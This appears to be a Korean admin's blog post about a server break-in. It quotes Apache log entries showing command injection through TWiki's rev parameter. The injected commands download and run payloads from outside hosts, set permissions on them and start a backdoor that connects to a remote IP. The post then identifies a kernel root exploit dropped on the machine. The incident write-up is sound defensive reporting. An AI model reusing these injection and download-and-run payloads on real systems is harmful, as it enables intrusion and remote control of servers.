우연히 top을 해봤더니, krad라는 프로세스가 CPU를 모두 차지하면서 동작하고 있더군요. 거기에 r0nin이라는 이름의 프로세스도 눈에 띄더군요. 순간 hack 당했다는 느낌이 들더군요. 역시나, 구글링해보니, 일종의 code injection 공격이더군요.
apache log를 살펴보니, 다음과 같은 내용이 있었습니다.
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|perl ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|uname%20-a%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main//TWikiUsers?rev=2%20|wget%20http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
그리고 twiki/bin과 /tmp에는 ntfu.txt, dc, krad, r0nin과 같은 파일들이 생겨있었습니다. apache를 통해서 생성된 파일들이기 때문에 apache user로 되어있었습니다.
보시다시피, 웹 어플리케이션을 통해서 shell command를 injection하고있는 것을 볼 수 있습니다. 구글링에서 찾은 건 My eGallery라는 웹 어플리케이션의 버그를 이용한 것인데 lastmind의 경우에는 제가 사용하고 있는 TWiki의 버그를 이용한 공격이었습니다.
이 문제는 제가 사용하는 버전인 2004년 9월 1일 릴리즈 이 후 이틀에 걸쳐서 수정된 문제임에도 불구하고, (그리고 security vulnerability에 대한 메일을 받았음에도 불구하고) 저같은 풀타임도 아닌 게으른 관리자가 관리하는 서버는 이러한 공격에 취약할 수 밖에 없는 것 같습니다. 어쨌든 2004년 9월 3일 릴리즈로 업그레이드 해서 이 문제는 해결했습니다.
대충 살펴보면, 주로 back door 종류인 듯 한데, lastmind에서 무슨 짓을 했는지는 아직 파악되지 않았습니다. 스팸 메일을 보낼까 해서 일단 sendmail을 내려놓은 상태입니다. krad라는 프로세스는 ‘kill -9’로 죽지도 않아서 reboot을 해야만 했는데, 흥미롭게도 다음과 같은 내용을 담고 있더군요.
$ strings krad
…
[1;37m k-rad.c – linux 2.6.* CPL 0 kernel exploit
[1;37mDiscovered Jan 2005 by sd <sd@fucksheep.org>
역시 구글링을 해보니, 리눅스 커널 2.6.x에 해당하는 sys_epoll_wait를 이용한 overflow exploit이라는 것이 밝혀졌습니다. kernel memory를 overwrite해서 root shell까지 실행할 수 있는 exploit인데, root를 가로채고 무슨 짓을 했을지 모르겠군요.
공격을 당한 그 날 발견한 것은 상당히 행운이라고 볼 수는 있겠습니다만… 피해 상황은 좀 더 조사해봐야겠습니다.
해킹피해가 파악이 되지 않는다면 최악으로 간주하고 밀어버리는 편이;;;
그래서 느렸군요.